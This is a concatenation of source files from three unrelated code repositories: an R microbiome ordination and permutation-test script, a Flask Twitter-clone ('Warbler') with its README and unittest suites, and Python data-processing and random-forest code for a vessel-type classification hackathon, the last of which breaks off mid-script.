cent.subsite <- cbind(cent.subsite, nmds.mat[match(cent.subsite$group, nmds.mat$cluster), -c(1, 2)])
rownames(cent.subsite) <- cent.subsite$group
## subsite level centroids
cent.dist <- 1 - as.matrix(vegdist(cent.subsite[, 2:3], method = 'euclidean'))
## pare for above/belowground
cent.dist <- cent.dist[rownames(cent.dist) %in% subset(cent.subsite, sample.type == 'Leaf')$group, ]
cent.dist <- cent.dist[, colnames(cent.dist) %in% subset(cent.subsite, sample.type == 'Water')$group]
## melt it
cent.melt <- melt(cent.dist)
cent.melt$tag.1 <- cent.subsite$subsite.tag[match(cent.melt$Var1, cent.subsite$group)]
cent.melt$tag.2 <- cent.subsite$subsite.tag[match(cent.melt$Var2, cent.subsite$group)]
## add type factor
cent.melt$same <- rep(FALSE)
cent.melt$same[which(cent.melt$tag.1 == cent.melt$tag.2)] <- rep(TRUE)
## summary stats
sum.cent <- summarySE(cent.melt, measurevar = 'value', groupvars = 'same')
sum.cent$type <- rep('Leaf')
## stats
currentStat <- diffMeans(cent.melt$value, cent.melt$same)
cat("Initial Test Statistic: ", currentStat)
p.val <- permutationTest(cent.melt$value, cent.melt$same, testStat = diffMeans)
cat("p-value: ", p.val)
##--------
## subsite scale
nmds.mat$cluster <- with(nmds.mat, paste(subsite.tag, sample.type, sep = '.'))
cent.subsite <- aggregate(nmds.mat[ ,c('X1', 'X2')], list(group = nmds.mat$cluster), mean)
cent.subsite <- cbind(cent.subsite, nmds.mat[match(cent.subsite$group, nmds.mat$cluster), -c(1, 2)])
rownames(cent.subsite) <- cent.subsite$group
## subsite level centroids
cent.dist <- 1 - as.matrix(dist(cent.subsite[, 2:3]))
## pare for above/belowground
cent.dist <- cent.dist[rownames(cent.dist) %in% subset(cent.subsite, sample.type == 'Roots')$group, ]
cent.dist <- cent.dist[, colnames(cent.dist) %in% subset(cent.subsite, sample.type == 'Sediment')$group]
## melt it
cent.melt <- melt(cent.dist)
cent.melt$tag.1 <- cent.subsite$subsite.tag[match(cent.melt$Var1, cent.subsite$group)]
cent.melt$tag.2 <- cent.subsite$subsite.tag[match(cent.melt$Var2, cent.subsite$group)]
## add type factor
cent.melt$same <- rep(FALSE)
cent.melt$same[which(cent.melt$tag.1 == cent.melt$tag.2)] <- rep(TRUE)
## summary stats
sum.cent.2 <- summarySE(cent.melt, measurevar = 'value', groupvars = 'same')
sum.cent.2$type <- rep('Roots')
## stats
currentStat <- diffMeans(cent.melt$value, cent.melt$same)
cat("Initial Test Statistic: ", currentStat)
p.val <- permutationTest(cent.melt$value, cent.melt$same, testStat = diffMeans)
cat("p-value: ", p.val)
## rbind
sum.cent <- rbind(sum.cent, sum.cent.2)
##---------------------
## centroid analysis UniFrac
##---------------------
## subsite scale
nmds.mat.uw$cluster <- with(nmds.mat.uw, paste(subsite.tag, sample.type, sep = '.'))
cent.subsite.uw <- aggregate(nmds.mat.uw[ ,c('X1', 'X2')], list(group = nmds.mat.uw$cluster), mean)
cent.subsite.uw <- cbind(cent.subsite.uw, nmds.mat.uw[match(cent.subsite.uw$group, nmds.mat.uw$cluster), -c(1, 2)])
rownames(cent.subsite.uw) <- cent.subsite.uw$group
## subsite level centroids
cent.dist.uw <- 1 - as.matrix(vegdist(cent.subsite.uw[, 2:3], method = 'euclidean'))
## pare for above/belowground
cent.dist.uw <- cent.dist.uw[rownames(cent.dist.uw) %in% subset(cent.subsite.uw, sample.type == 'Leaf')$group, ]
cent.dist.uw <- cent.dist.uw[, colnames(cent.dist.uw) %in% subset(cent.subsite.uw, sample.type == 'Water')$group]
## melt it
cent.melt.uw <- melt(cent.dist.uw)
cent.melt.uw$tag.1 <- cent.subsite.uw$subsite.tag[match(cent.melt.uw$Var1, cent.subsite.uw$group)]
cent.melt.uw$tag.2 <- cent.subsite.uw$subsite.tag[match(cent.melt.uw$Var2, cent.subsite.uw$group)]
## add type factor
cent.melt.uw$same <- rep(FALSE)
cent.melt.uw$same[which(cent.melt.uw$tag.1 == cent.melt.uw$tag.2)] <- rep(TRUE)
## summary stats
sum.cent.uw <- summarySE(cent.melt.uw, measurevar = 'value', groupvars = 'same')
sum.cent.uw$type <- rep('Leaf')
## stats
currentStat <- diffMeans(cent.melt.uw$value, cent.melt.uw$same)
cat("Initial Test Statistic: ", currentStat)
p.val <- permutationTest(cent.melt.uw$value, cent.melt.uw$same, testStat = diffMeans)
cat("p-value: ", p.val)
##--------
## subsite scale
nmds.mat.uw$cluster <- with(nmds.mat.uw, paste(subsite.tag, sample.type, sep = '.'))
cent.subsite.uw <- aggregate(nmds.mat.uw[ ,c('X1', 'X2')], list(group = nmds.mat.uw$cluster), mean)
cent.subsite.uw <- cbind(cent.subsite.uw, nmds.mat.uw[match(cent.subsite.uw$group, nmds.mat.uw$cluster), -c(1, 2)])
rownames(cent.subsite.uw) <- cent.subsite.uw$group
## subsite level centroids
cent.dist.uw <- 1 - as.matrix(dist(cent.subsite.uw[, 2:3]))
## pare for above/belowground
cent.dist.uw <- cent.dist.uw[rownames(cent.dist.uw) %in% subset(cent.subsite.uw, sample.type == 'Roots')$group, ]
cent.dist.uw <- cent.dist.uw[, colnames(cent.dist.uw) %in% subset(cent.subsite.uw, sample.type == 'Sediment')$group]
## melt it
cent.melt.uw <- melt(cent.dist.uw)
cent.melt.uw$tag.1 <- cent.subsite.uw$subsite.tag[match(cent.melt.uw$Var1, cent.subsite.uw$group)]
cent.melt.uw$tag.2 <- cent.subsite.uw$subsite.tag[match(cent.melt.uw$Var2, cent.subsite.uw$group)]
## add 'same' factor to denote same site as binary variable
cent.melt.uw$same <- rep(FALSE)
cent.melt.uw$same[which(cent.melt.uw$tag.1 == cent.melt.uw$tag.2)] <- rep(TRUE)
## summary stats
sum.cent.uw.2 <- summarySE(cent.melt.uw, measurevar = 'value', groupvars = 'same')
sum.cent.uw.2$type <- rep('Roots')
## stats
currentStat <- diffMeans(cent.melt.uw$value, cent.melt.uw$same)
cat("Initial Test Statistic: ", currentStat)
p.val <- permutationTest(cent.melt.uw$value, cent.melt.uw$same, testStat = diffMeans)
cat("p-value: ", p.val)
## rbind
sum.cent.uw <- rbind(sum.cent.uw, sum.cent.uw.2)
## ggplot it
same.l <- ggplot(data = sum.cent, aes(x = (same), y = value, group = type, fill = type)) +
geom_errorbar(aes(ymin = value - 1*se, ymax = value + 1*se), size = 0.25, width = 0.02) +
geom_path(size = 0.5, linetype = 2) +
geom_point(alpha = 0.95, colour = '#252525', size = 2.5,
shape = 21,
stroke = 0.2) +
# stat_smooth(method = 'lm', size = 0.75, linetype = 2, formula = y ~ x, colour = '#252525') +
theme_classic() +
theme(panel.grid.minor = element_blank(), panel.grid.major = element_blank(),
panel.border = element_blank(), panel.grid.minor = element_blank(),
panel.background = element_blank(), axis.line = element_line(color = 'black')) +
xlab(' ') +
ylab('Similarity') +
# scale_colour_manual(values = colorpal, guide = guide_legend(title = NULL)) +
scale_fill_manual(values = colorpal[c(1, 3)], guide = guide_legend(title = NULL)) +
theme(axis.line.x = element_line(color = "black", size = 0.5),
axis.text.x = element_blank(),
legend.position = 'none',
axis.line.y = element_line(color = "black", size = 0.5))
same.r <- ggplot(data = sum.cent.uw, aes(x = as.factor(same), y = value, group = type, fill = type)) +
geom_errorbar(aes(ymin = value - 1*se, ymax = value + 1*se), size = 0.25, width = 0.02) +
geom_path(size = 0.5, linetype = 2) +
geom_point(alpha = 0.95, colour = '#252525', size = 2.5,
shape = 21,
stroke = 0.2) +
# stat_smooth(method = 'lm', size = 0.75, linetype = 2, formula = y ~ x, colour = '#252525') +
theme_classic() +
theme(panel.grid.minor = element_blank(), panel.grid.major = element_blank(),
panel.border = element_blank(), panel.grid.minor = element_blank(),
panel.background = element_blank(), axis.line = element_line(color = 'black')) +
xlab(' ') +
ylab('Similarity') +
# scale_colour_manual(values = colorpal, guide = guide_legend(title = NULL)) +
scale_fill_manual(values = colorpal[c(1, 3)], guide = guide_legend(title = NULL)) +
theme(axis.line.x = element_line(color = "black", size = 0.5),
axis.text.x = element_blank(),
legend.position = 'none',
axis.line.y = element_line(color = "black", size = 0.5))
## plot together on a grid
dev.off()
gridExtra::grid.arrange(ord.1, same.l, ord.2, same.r, nrow = 2)
|
06db3514da70a73c191b240f103d537dcde5caa3
|
[
"Markdown",
"R",
"Shell"
] | 7 |
R
|
enterdevstudio/seagrass-microbiome
|
3d9b88625ef156a49b644a13e0d9b87d74db6c2e
|
ac53e052b6c120c074d49a17fda676c8b95dba9c
|
refs/heads/master
|
<repo_name>PrismaPhonic/Warbler<file_sep>/static/js/client.js
$(document).ready(function() {
$('#messages').on('click', '.fa-star', function(evt) {
evt.preventDefault();
let $clicked = $(evt.target);
let action;
if (/far/.test($clicked.attr('class'))) {
action = 'add';
} else {
action = 'remove';
}
$clicked.toggleClass('far fas');
let message_id = $clicked.attr('data-message-id');
// send request to server to like post
$.ajax({
url: `/like/${action}`,
method: 'post',
data: {
message_id,
},
dataType: 'json',
success: (res) => {
console.log('success! received response:', res);
}
});
})
});<file_sep>/README.md
# Warbler
Warbler is a mock twitter clone built completely as a backend application. Users can signup/login, follow other users, be followed by other users, create warbles(similar to tweets), as well as direct message other users. User authentication/authorization is done with bcrypt for verification and sessions are used to store current user information. The backend is built in Flask and Jinja is used as a templating system for the HTML. PostgreSQL is used as the relational database and communicated with via SQLAlchemy. Tests are written for the views and models using the unittest module. Feel free to run the app locally or go to the live hosted heroku site: [warbler](https://warbler-pf.herokuapp.com/).

# Local Setup
## Creating a Virtual Environment
```terminal
$ python3 -m venv venv
```
This will create a virtual environment in the folder venv (do this inside the
project directory after you clone it)
## Using the virtual environment
Let's now use our virtual environment and then install the necessary python
modules
```terminal
$ source venv/bin/activate
$ pip3 install -r requirements.txt
```
Now let's run the project!
```terminal
$ flask run
```
You should be able to access warbler at `http://localhost:5000/`
<file_sep>/test_user_views.py
"""User View tests."""
import os
from unittest import TestCase
from models import db, connect_db, User, Message, FollowersFollowee
os.environ['DATABASE_URL'] = "postgresql:///warbler-test"
from app import app, CURR_USER_KEY
db.create_all()
app.config['WTF_CSRF_ENABLED'] = False
class UserViewTestCase(TestCase):
"""Test User routes."""
def setUp(self):
"""Create est client, add sample data."""
User.query.delete()
Message.query.delete()
FollowersFollowee.query.delete()
db.session.commit()
self.client = app.test_client()
def test_list_users(self):
"""Test that /user route correctly shows searched users"""
edward = User(
email="<EMAIL>",
username="edward",
password="<PASSWORD>"
)
juan = User(
email="<EMAIL>",
username="juan",
password="<PASSWORD>"
)
db.session.add_all([edward, juan])
db.session.commit()
self.assertIsInstance(edward, User)
self.assertIsInstance(juan, User)
with self.client as c:
resp = c.get('/users')
self.assertEqual(resp.status_code, 200)
self.assertIn(b'@edward', resp.data)
self.assertIn(b'@juan', resp.data)
resp = c.get('/users?q=ed')
self.assertEqual(resp.status_code, 200)
self.assertIn(b'@edward', resp.data)
self.assertNotIn(b'@juan', resp.data)
def test_users_show(self):
"""Test that /user/user_id shows that users profile"""
edward = User(
email="<EMAIL>",
username="edward",
password="<PASSWORD>",
location="Oakland"
)
juan = User(
email="<EMAIL>",
username="juan",
password="<PASSWORD>",
location="New York"
)
db.session.add_all([edward, juan])
db.session.commit()
user_ids = {
'edward': edward.id,
'juan': juan.id,
}
# LETS SEE IF EDWARD FOLLOWS JUAN THAT FOLLOW/UNFOLLOW
# BUTTON IS RIGHT
edward.following.append(juan)
db.session.commit()
with self.client as c:
# Let's make sure our session knows we are test user "edward"
with c.session_transaction() as sess:
sess[CURR_USER_KEY] = user_ids['edward']
# Get edward's user detail page as edward
resp = c.get(f'/users/{user_ids["edward"]}')
self.assertEqual(resp.status_code, 200)
self.assertIn(b'@edward', resp.data)
self.assertIn(b'Oakland', resp.data)
self.assertIn(b'Edit Profile</a>', resp.data)
self.assertNotIn(b'@juan', resp.data)
self.assertNotIn(b'New York', resp.data)
# Get juan's user detail page as edward
resp = c.get(f'/users/{user_ids["juan"]}')
self.assertEqual(resp.status_code, 200)
self.assertIn(b'@juan', resp.data)
self.assertIn(b'New York', resp.data)
self.assertIn(b'Unfollow</button>', resp.data)
self.assertNotIn(b'@edward', resp.data)
self.assertNotIn(b'Oakland', resp.data)
def test_show_following(self):
"""Test /users/user_id/following route shows who user is following"""
edward = User(
email="<EMAIL>",
username="edward",
password="<PASSWORD>",
location="Oakland"
)
juan = User(
email="<EMAIL>",
username="juan",
password="<PASSWORD>",
location="New York"
)
timmy = User(
email="<EMAIL>",
username="timmy",
password="<PASSWORD>",
location="Antarctica"
)
db.session.add_all([edward, juan, timmy])
db.session.commit()
user_ids = {
'edward': edward.id,
'juan': juan.id,
'timmy': timmy.id
}
# LETS SEE IF EDWARD FOLLOWS JUAN THAT FOLLOW/UNFOLLOW
# BUTTON IS RIGHT
edward.following.append(juan)
db.session.commit()
with self.client as c:
# Let's make sure our session knows we are test user "edward"
with c.session_transaction() as sess:
sess[CURR_USER_KEY] = user_ids['edward']
# View who edward is following
resp = c.get(f'/users/{user_ids["edward"]}/following')
self.assertEqual(resp.status_code, 200)
# test username under profile pic on left but not a
# following card
self.assertIn(b'@edward</h4>', resp.data)
self.assertNotIn(b'@edward</a>', resp.data)
#test follower cards
self.assertIn(b'@juan', resp.data)
self.assertNotIn(b'@timmy</a>', resp.data)
self.assertIn(b'Unfollow</button>', resp.data)
def test_users_followers(self):
"""Test /users/user_id/followers route show who is following user"""
edward = User(
email="<EMAIL>",
username="edward",
password="<PASSWORD>",
location="Oakland"
)
juan = User(
email="<EMAIL>",
username="juan",
password="<PASSWORD>",
location="New York"
)
timmy = User(
email="<EMAIL>",
username="timmy",
password="<PASSWORD>",
location="Antarctica"
)
db.session.add_all([edward, juan, timmy])
timmy.following.append(edward)
db.session.commit()
user_ids = {
'edward': edward.id,
'juan': juan.id,
'timmy': timmy.id
}
with self.client as c:
# Let's make sure our session knows we are test user "edward"
with c.session_transaction() as sess:
sess[CURR_USER_KEY] = user_ids['edward']
# View edwards followers
resp = c.get(f'/users/{user_ids["edward"]}/followers')
self.assertEqual(resp.status_code, 200)
# test username under profile pic on left but not a
# following card
self.assertIn(b'@edward</h4>', resp.data)
self.assertNotIn(b'@edward</a>', resp.data)
#test cards of followers
self.assertNotIn(b'@juan', resp.data)
self.assertIn(b'@timmy', resp.data)
def test_users_likes(self):
"""Test the /users/user_id/likes page"""
edward = User(
email="<EMAIL>",
username="edward",
password="<PASSWORD>",
location="Oakland"
)
juan = User(
email="<EMAIL>",
username="juan",
password="<PASSWORD>",
location="New York"
)
timmy = User(
email="<EMAIL>",
username="timmy",
password="<PASSWORD>",
location="Antarctica"
)
db.session.add_all([edward, juan, timmy])
db.session.commit()
user_ids = {
'edward': edward.id,
'juan': juan.id,
'timmy': timmy.id
}
# POSTED BY EDWARD
edwards_message = Message(
text="test message 1",
user_id=user_ids['edward']
)
# POSTED BY TIMMY
timmys_message = Message(
text="test message 2",
user_id=user_ids['timmy']
)
db.session.add_all([edwards_message, timmys_message])
db.session.commit()
# LETS LIKE SOME THINGS
# EDWARD LIKES TIMMYS POST
edward.messages_liked.append(Message.query.get(timmys_message.id))
# JUAN LIKES EDWARDS POST
juan.messages_liked.append(Message.query.get(edwards_message.id))
db.session.commit()
with self.client as c:
# Let's make sure our session knows we are test user "edward"
with c.session_transaction() as sess:
sess[CURR_USER_KEY] = user_ids['edward']
# View edwards followers
resp = c.get(f'/users/{user_ids["edward"]}/likes')
self.assertEqual(resp.status_code, 200)
#test list group items of liked posts on page
self.assertNotIn(b'@juan', resp.data)
self.assertIn(b'@timmy', resp.data)
# check that only solid stars
self.assertIn(b'class="fas fa-star', resp.data)
self.assertNotIn(b'class="far fa-star', resp.data)
def test_add_follow(self):
"""Test the /users/follow/user_id page"""
edward = User(
email="<EMAIL>",
username="edward",
password="<PASSWORD>",
location="Oakland"
)
juan = User(
email="<EMAIL>",
username="juan",
password="<PASSWORD>",
location="New York"
)
timmy = User(
email="<EMAIL>",
username="timmy",
password="<PASSWORD>",
location="Antarctica"
)
db.session.add_all([edward, juan, timmy])
db.session.commit()
user_ids = {
'edward': edward.id,
'juan': juan.id,
'timmy': timmy.id
}
db.session.commit()
with self.client as c:
# Let's make sure our session knows we are test user "edward"
# Edward is the current logged in user
with c.session_transaction() as sess:
sess[CURR_USER_KEY] = user_ids['edward']
# Tell server to have Edward follow Juan
resp = c.post(f'/users/follow/{user_ids["juan"]}', data={"text": "Hello"})
# We have to re-grab juan and edward user instances
# because sqlalchemy gets rid of them when we initiate
# a new application context
juan = User.query.get(user_ids['juan'])
edward = User.query.get(user_ids['edward'])
# Make sure it redirects
self.assertEqual(resp.status_code, 302)
# import pdb; pdb.set_trace()
# Make sure Edward is a follower of Juan
# Assert that Edwars is IN Juan's followers
self.assertIn(edward, juan.followers)
def test_stop_following(self):
pass
def test_profile(self):
pass
def test_delete_user(self):
pass
# def test_signup(self):
# pass
# def test_login(self):
# pass
# def test_logout(self):
# pass
<file_sep>/test_user_model.py
"""User model tests."""
# run these tests like:
#
# python -m unittest test_user_model.py
import os
from unittest import TestCase
from models import db, User, Message, FollowersFollowee
# BEFORE we import our app, let's set an environmental variable
# to use a different database for tests (we need to do this
# before we import our app, since that will have already
# connected to the database
os.environ['DATABASE_URL'] = "postgresql:///warbler-test"
# Now we can import app
from app import app
# Create our tables (we do this here, so we only create the tables
# once for all tests --- in each test, we'll delete the data
# and create fresh new clean test data
db.create_all()
class UserModelTestCase(TestCase):
"""Test views for messages."""
def setUp(self):
"""Create test client, add sample data."""
User.query.delete()
Message.query.delete()
FollowersFollowee.query.delete()
db.session.commit()
#########################################
# What is the app test client needed for?
# self.client = app.test_client()
def tearDown(self):
"""Removes all data from database tables"""
User.query.delete()
Message.query.delete()
FollowersFollowee.query.delete()
db.session.commit()
def test_user_model(self):
"""Does basic model work?"""
u = User(
id=1,
email="<EMAIL>",
username="testuser",
password="<PASSWORD>",
image_url="https://www.dictionary.com/e/wp-content/uploads/2018/03/bird-is-the-word.jpg",
header_image_url="https://uproxx.files.wordpress.com/2015/06/family-guy-chicken.png",
bio="I'm a bird and it's always the word!",
location="The Chicken Coop, SF"
)
db.session.add(u)
db.session.commit()
# User should have no messages & no followers
self.assertEqual(u.messages.count(), 0)
self.assertEqual(u.followers.count(), 0)
self.assertEqual(u.email, "<EMAIL>")
self.assertEqual(u.username, "testuser")
self.assertEqual(u.password, "<PASSWORD>")
# testing optional fields
self.assertEqual(u.image_url, "https://www.dictionary.com/e/wp-content/uploads/2018/03/bird-is-the-word.jpg")
self.assertEqual(u.header_image_url, "https://uproxx.files.wordpress.com/2015/06/family-guy-chicken.png")
self.assertEqual(u.bio, "I'm a bird and it's always the word!")
self.assertEqual(u.location, "The Chicken Coop, SF")
def test_is_followed_by(self):
"""Test User followed_by method"""
user1 = User(
id=1,
email="<EMAIL>",
username="testuser",
password="<PASSWORD>"
)
user2 = User(
id=2,
email="<EMAIL>",
username="testuser2",
password="<PASSWORD>"
)
db.session.add(user1)
db.session.add(user2)
db.session.commit()
user1.following.append(user2)
db.session.commit()
self.assertFalse(user1.is_followed_by(user2))
self.assertTrue(user2.is_followed_by(user1))
def test_is_following(self):
"""Test User is_following method"""
user1 = User(
id=1,
email="<EMAIL>",
username="testuser",
password="<PASSWORD>"
)
user2 = User(
id=2,
email="<EMAIL>",
username="testuser2",
password="<PASSWORD>"
)
db.session.add(user1)
db.session.add(user2)
db.session.commit()
user1.following.append(user2)
user2.following.append(user1)
db.session.commit()
self.assertTrue(user1.is_following(user2))
self.assertTrue(user2.is_following(user1))
def test_get_number_of_likes(self):
"""Test the get_number_of_likes User method"""
user1 = User(
id=1,
email="<EMAIL>",
username="testuser",
password="<PASSWORD>"
)
user2 = User(
id=2,
email="<EMAIL>",
username="testuser2",
password="<PASSWORD>"
)
msg = Message(
id=1,
text="testuser message here",
user_id=1
)
db.session.add(user1)
db.session.add(user2)
db.session.add(msg)
db.session.commit()
user2.messages_liked.append(msg)
db.session.commit()
self.assertEqual(user2.get_number_of_likes(), 1)
self.assertEqual(user1.get_number_of_likes(), 0)
def test_signup(self):
"""Test User signup method"""
new_user = User.signup(
username="newbuser",
email="<EMAIL>",
password="<PASSWORD>"
)
db.session.commit()
# tests that signup returns a user instance
self.assertIsInstance(new_user, User)
u = User.query.filter_by(username="newbuser").first()
self.assertEqual(u.username, "newbuser")
self.assertEqual(u.email, "<EMAIL>")
self.assertNotEqual(u.password, "<PASSWORD>")
def test_verify_password(self):
"""Test User verify_password method"""
new_user = User.signup(
username="newbuser",
email="<EMAIL>",
password="<PASSWORD>"
)
db.session.add(new_user)
db.session.commit()
self.assertTrue(new_user.verify_password("<PASSWORD>"))
def test_authenticate(self):
"""Test User authenticate method"""
new_user = User.signup(
username="newbuser",
email="<EMAIL>",
password="<PASSWORD>"
)
db.session.add(new_user)
db.session.commit()
auth_user = new_user.authenticate(username="newbuser", password="<PASSWORD>")
self.assertIsInstance(auth_user, User)
self.assertEqual(auth_user.username, "newbuser")
|
8224c7c048cf6dc16131eec32142739982d9e1ec
|
[
"JavaScript",
"Python",
"Markdown"
] | 4 |
JavaScript
|
PrismaPhonic/Warbler
|
bca92217c5ad366b4986482a9668261945f7b4d7
|
19861e211aa19443cde6f6196e0d77361e9ad1b0
|
refs/heads/master
|
<repo_name>drorsimon/DataHack<file_sep>/Flow/model.py
from sklearn.ensemble import RandomForestClassifier
from sklearn import cross_validation
from sklearn.cross_validation import KFold
from sklearn import metrics
kfold = cross_validation.KFold(len(ex_features), n_folds=10)
model=RandomForestClassifier(n_estimators=100, criterion='gini', max_depth=None, min_samples_split=2, min_samples_leaf=1, min_weight_fraction_leaf=0.0, max_features='auto', max_leaf_nodes=None, bootstrap=True, oob_score=False, n_jobs=1, random_state=None, verbose=0, warm_start=False, class_weight=None)
scores=cross_validation.cross_val_score(model, ex_features[:,1:-1], ex_features[:,-1], cv=kfold, n_jobs=-2)
scores.mean()
model.fit(ex_features[:,1:-1], ex_features[:,-1])
importances = model.feature_importances_<file_sep>/Flow/Dal.py
import pandas as pd
from sklearn.preprocessing import LabelEncoder
import numpy as np
import pickle as pkl
def EncoderLoad(path):
with open(path + 'Encoder.pkl', 'rb') as fl:
data = pkl.load(fl)
label_encoder = data['label_encoder']
return label_encoder
def create_numeric_labels(labels):
unique_labels = labels[['type']].drop_duplicates()
label_encoder = LabelEncoder()
label_encoder.fit(unique_labels.as_matrix().squeeze())
numeric_labels = label_encoder.transform(labels[['type']].as_matrix().squeeze())
labels['numeric_type'] = numeric_labels
return labels
def read_data(data_path):
# read data and add labels
ports = pd.read_csv(data_path+'port_visits_train.csv')
labels = pd.read_csv(data_path+'vessels_labels_train.csv')
labels = create_numeric_labels(labels)
# add labels to ports
labels.rename(columns={'vessel_id': 'ves_id','numeric_type':'ves_type'}, inplace=True)
ports = ports.merge(labels,on='ves_id',how='left')
ports.rename(columns={'duration_min':'duration'}, inplace=True)
# add labels to meetings
# Vessel1:
labels.rename(columns={'ves_id': 'ves_id1',
'type': 'ves1_type',
'numeric_type': 'ves1_numeric_type'}, inplace=True)
meetings = pd.read_csv(data_path+'meetings_train.csv')
meetings = meetings.merge(labels,on='ves_id1',how='left')
labels.rename(columns={'ves_id1': 'ves_id2',
'ves1_type': 'ves2_type',
'ves1_numeric_type': 'ves2_numeric_type'}, inplace=True)
meetings = meetings.merge(labels,on='ves_id2',how='left')
meetings.rename(columns={'ves_id1': 'ves_id', 'ves1_type':'ves_type', 'duration_min':'duration','EEZ_name':'country'}, inplace=True)
tmp = meetings[['ves_id2']].drop_duplicates()
tmp.columns = ['ves_id']
unique_ves_id = pd.concat([meetings[['ves_id']].drop_duplicates(),tmp, ports[['ves_id']].drop_duplicates()]).drop_duplicates()
label_encoder_id = EncoderLoad(path)
numeric_id = label_encoder_id.transform(ports[['ves_id']].as_matrix().squeeze())
ports['ves_id'] = numeric_id
numeric_id = label_encoder_id.transform(meetings[['ves_id']].as_matrix().squeeze())
meetings['ves_id'] = numeric_id
numeric_id = label_encoder_id.transform(meetings[['ves_id2']].as_matrix().squeeze())
meetings['ves_id2'] = numeric_id
total_events = pd.DataFrame(columns=['ves_id','event_type','start_time','duration','ves_type','country','port_id','Long','Lat','ves_id2','ves2_type'])
meetings['event_type'] = 'meeting'
meetings['port_id'] = -1
ports['event_type'] = 'port'
ports['ves_id2'] = -1
ports['ves2_type'] = -1
total_events = total_events.append(ports[['ves_id','event_type','start_time','duration','ves_type','country','port_id','Long','Lat','ves_id2','ves2_type']],ignore_index=True)
total_events = total_events.append(meetings[['ves_id','event_type','start_time','duration','ves_type','country','port_id','Long','Lat','ves_id2','ves2_type']],ignore_index=True)
sorted_total_events = total_events.sort_values(['ves_id','start_time']).reset_index()
#ports['country']=ports[['country']].fillna('N/A')
#unique_countries = ports[['country']].drop_duplicates()
#print(np.where(unique_countries.isnull()))
#label_encoder = LabelEncoder()
#label_encoder.fit(unique_countries.as_matrix().squeeze())
return ports,meetings,sorted_total_events
<file_sep>/avgDistFromLastPortPerVessel.py
import numpy as np
import matplotlib
import pandas as pd
import os
import geopy as gp
from geopy.distance import vincenty
from datetime import datetime
class DAL(object):
def __init__(self):
pass
@staticmethod
def SaveToCsv(filePath, fileName, dataNpArray, columnNames=None):
fileFullPath = os.path.join(filePath, fileName)
if columnNames is None:
dataPdDataFrame = pd.DataFrame(dataNpArray)
else:
dataPdDataFrame = pd.DataFrame(dataNpArray, columns=columnNames)
with open(fileFullPath, 'wb') as fileCsv:
dataPdDataFrame.to_csv(fileCsv, index=True)
@staticmethod
def LoadFromExcel(filePath, fileName, columnNames=None):
fileFullPath = os.path.join(filePath, fileName)
with open(fileFullPath, 'rb') as fileCsv:
if columnNames is None:
dataPdDataFrame = pd.read_csv(fileCsv)
else:
dataPdDataFrame = pd.read_csv(fileCsv, parse_cols=columnNames)
npArrayData = np.array(dataPdDataFrame.as_matrix())
return npArrayData
# load the files
filePath = r'D:\<NAME>\Desktop\Botser\DataHack\Data\Work'
fileName = r'meetings_train.csv'
meetingsTrain = DAL.LoadFromExcel(filePath, fileName)
fileName = 'vessels_labels_train.csv'
vesselsLabelsTrain = DAL.LoadFromExcel(filePath, fileName)
fileName = 'port_visits_train.csv'
portVisitsTrain = DAL.LoadFromExcel(filePath, fileName)
def getLastTimeBeforeGivenTimeIndex(list_times_string, time_string):
i = 0
time = datetime.strptime(time_string, '%d-%m-%Y %H:%M:%S')
for current_time_string in list_times_string:
current_time = datetime.strptime(current_time_string, '%d-%m-%Y %H:%M:%S')
if current_time >= time:
return i-1
i += 1
return i-1
# calculate the avg distance from the last port of the boats
VesselDistancesMeans = []
VesselDistancesMedians = []
for vesselId in vesselsLabelsTrain[:, 0]:
currentVesselsMettings = meetingsTrain[meetingsTrain[:, 0]==vesselId]
currentVesselsPortsVisits = portVisitsTrain[portVisitsTrain[:, 0]==vesselId]
currentVesselDistances = []
for meeting in currentVesselsMettings:
i = getLastTimeBeforeGivenTimeIndex(currentVesselsPortsVisits[:, 1], meeting[2])
if i == -1:
continue
lastPortVisitBeforeCurrentMeeting = currentVesselsPortsVisits[i]
currentMeetingDistance = vincenty((meeting[4],
meeting[5]),
(lastPortVisitBeforeCurrentMeeting[5],
lastPortVisitBeforeCurrentMeeting[6]))
currentVesselDistances.append(currentMeetingDistance)
if currentVesselDistances == []:
continue
currentVesselDistancesMean = np.mean(currentVesselDistances)
currentVesselDistancesMedian = np.median(currentVesselDistances)
VesselDistancesMeans.append((vesselId, currentVesselDistancesMean))
VesselDistancesMedians.append((vesselId, currentVesselDistancesMedian))
savePath = r'D:\<NAME>\Desktop\Botser\DataHack\Results'
saveName = 'VesselDistancesMeans.csv'
DAL.SaveToCsv(savePath, saveName, np.array(VesselDistancesMeans))
saveName = 'VesselDistancesMedians.csv'
DAL.SaveToCsv(savePath, saveName, np.array(VesselDistancesMedians))<file_sep>/all_events_sorted.py
import pandas as pd
data_path = '../Data/'
ports = pd.read_csv(data_path+'port_visits_train_labeled.csv')
meetings = pd.read_csv(data_path+'meetings_train_labeled.csv')
total_events = pd.DataFrame(columns=['ves_id','event_type','start_time','duration_min','type','numeric_type','country','port_id','Long','Lat','ves_id2','ves2_numeric_type'])
meetings.rename(columns={'ves_id1': 'ves_id', 'EEZ_name':'country', 'ves1_numeric_type':'numeric_type', 'ves1_type':'type'}, inplace=True)
meetings['event_type'] = 'meeting'
meetings['port_id'] = -1
ports['event_type'] = 'port'
ports['ves_id2'] = -1
ports['ves2_numeric_type'] = -1
total_events = total_events.append(ports[['ves_id','event_type','start_time','duration_min','type','numeric_type','country','port_id','Long','Lat','ves_id2','ves2_numeric_type']],ignore_index=True)
total_events = total_events.append(meetings[['ves_id','event_type','start_time','duration_min','type','numeric_type','country','port_id','Long','Lat','ves_id2','ves2_numeric_type']],ignore_index=True)
sorted_total_events = total_events.sort_values(['ves_id','start_time']).reset_index()
sorted_total_events.to_csv(data_path+'sorted_total_events.csv')
<file_sep>/create_numeric_labels.py
import pandas as pd
from sklearn.preprocessing import LabelEncoder
data_path = '../Data/'
# Read Labels:
labels = pd.read_csv(data_path+'vessels_labels_train.csv')
unique_labels = labels[['type']].drop_duplicates()
label_encoder = LabelEncoder()
label_encoder.fit(unique_labels.as_matrix().squeeze())
numeric_labels = label_encoder.transform(labels[['type']].as_matrix().squeeze())
labels['numeric_type'] = numeric_labels
labels.to_csv(data_path+'vessels_labels_train_numeric.csv')
<file_sep>/Flow/Main.py
from Dal import read_data
from FeatureCreation import *
import pickle as pkl
import numpy as np
import matplotlib.pyplot as plt
from sklearn.decomposition import PCA
verbose = False
load = False
data_path = '/home/sivan/Dev/Data/'
if load:
with open(data_path+'outFeatures.pkl','rb') as rf:
data = pkl.load(rf)
ports_prec_stats = data['ports_prec_stats']
